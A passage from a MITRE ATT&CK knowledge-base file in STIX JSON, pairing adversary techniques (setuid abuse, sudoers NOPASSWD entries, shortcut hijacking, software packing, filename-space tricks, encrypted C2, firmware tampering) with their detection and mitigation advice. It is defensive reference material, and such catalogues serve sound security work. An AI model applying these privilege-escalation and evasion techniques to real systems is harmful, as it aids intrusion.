Services, Windows Registry\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Ability to modify a service binPath/ImagePath value in the Registry\n\nContributors: Travis Smith, Tripwire",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1058",
                    "external_id": "T1058"
                },
                {
                    "source_name": "MSDN Registry Key Security",
                    "description": "Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_contributors": [
                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "Process command-line parameters",
                "Services",
                "Windows Registry"
            ],
            "x_mitre_effective_permissions": [
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Ability to modify a service binPath/ImagePath value in the Registry"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Setuid and Setgid Mitigation",
            "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1166",
                    "external_id": "T1166"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Setuid and Setgid",
            "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1166",
                    "external_id": "T1166"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process Monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_effective_permissions": [
                "Administrator",
                "root"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Shared Webroot Mitigation",
            "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1051",
                    "external_id": "T1051"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:46.047Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Shared Webroot",
            "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.\n\nDetection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Shared webroot directory on remote system",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1051",
                    "external_id": "T1051"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring"
            ],
            "x_mitre_system_requirements": [
                "Shared webroot directory on remote system"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Shortcut Modification Mitigation",
            "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1023",
                    "external_id": "T1023"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                },
                {
                    "source_name": "UCF STIG Symbolic Links",
                    "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.",
                    "url": "https://www.stigviewer.com/stig/windows%20server%202008%20r2%20member%20server/2015-06-25/finding/V-26482"
                }
            ],
            "spec_version": "2.1",
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            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
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            "id": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:30.757Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Shortcut Modification",
            "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\n\nDetection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nContributors: Travis Smith, Tripwire",
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                    "phase_name": "persistence"
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                {
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                    "url": "https://attack.mitre.org/wiki/Technique/T1023",
                    "external_id": "T1023"
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            "x_mitre_version": "1.0"
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            "type": "course-of-action",
            "id": "course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Software Packing Mitigation",
            "description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1045",
                    "external_id": "T1045"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "x_mitre_domains": [
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            "id": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:43.472Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Software Packing",
            "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Anti-virus, heuristic detection, Signature-based detection",
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                    "external_id": "T1045"
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                    "source_name": "Wikipedia Exe Compression",
                    "description": "Executable compression. (n.d.).  Retrieved December 4, 2014.",
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            "x_mitre_data_sources": [
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            "x_mitre_defense_bypassed": [
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                "Signature-based detection"
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            "x_mitre_platforms": [
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            "x_mitre_attack_spec_version": "2.1.0",
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            "x_mitre_version": "1.0"
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            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Source Mitigation",
            "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1153",
                    "external_id": "T1153"
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            "x_mitre_domains": [
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            "id": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Source",
            "description": "The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\n\nDetection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, File monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: No",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1153",
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                "Process command-line parameters"
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            "x_mitre_platforms": [
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                "macOS"
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            "x_mitre_permissions_required": [
                "User"
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            "x_mitre_remote_support": false,
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            "x_mitre_domains": [
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            "type": "course-of-action",
            "id": "course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Space after Filename Mitigation",
            "description": "Prevent files from having a trailing space after the extension.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1151",
                    "external_id": "T1151"
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            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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        {
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            "id": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\nDetection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User\n\nContributors: Erye Hernandez, Palo Alto Networks",
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                    "phase_name": "defense-evasion"
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1151",
                    "external_id": "T1151"
                },
                {
                    "source_name": "Mac Backdoors are back",
                    "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
                    "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"
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            "x_mitre_platforms": [
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            "x_mitre_version": "1.0"
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        {
            "type": "course-of-action",
            "id": "course-of-action--addb3703-5a59-4461-9bcd-7e2b5d4e92a0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Standard Application Layer Protocol Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1071",
                    "external_id": "T1071"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:56.776Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.  Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
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                    "external_id": "T1071"
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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        {
            "type": "course-of-action",
            "id": "course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Standard Cryptographic Protocol Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1032",
                    "external_id": "T1032"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:35.334Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Standard Cryptographic Protocol",
            "description": "Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.\n\nSome adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.\n\nDetection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection\n\nRequires Network: Yes",
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                    "phase_name": "command-and-control"
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            ],
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                    "url": "https://attack.mitre.org/wiki/Technique/T1032",
                    "external_id": "T1032"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "SANS Decrypting SSL",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"
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                {
                    "source_name": "SEI SSL Inspection Risks",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
                },
                {
                    "source_name": "Fidelis DarkComet",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
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            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "description": "Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can\u2019t be leveraged for privilege escalation.",
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                    "source_name": "Startup Items",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
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                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
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            "description": "The sudoers file should be strictly edited such that passwords are always required and that users can\u2019t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.",
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            "description": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\n\nDetection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring\n\nEffective Permissions: root\n\nPermissions Required: User",
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                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
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            "name": "System Firmware Mitigation",
            "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1019",
                    "external_id": "T1019"
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                {
                    "source_name": "TCG Trusted Platform Module",
                    "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.",
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            "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\n\nDetection: System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\n\nPlatforms: Windows\n\nData Sources: API monitoring, BIOS, EFI\n\nPermissions Required: Administrator, 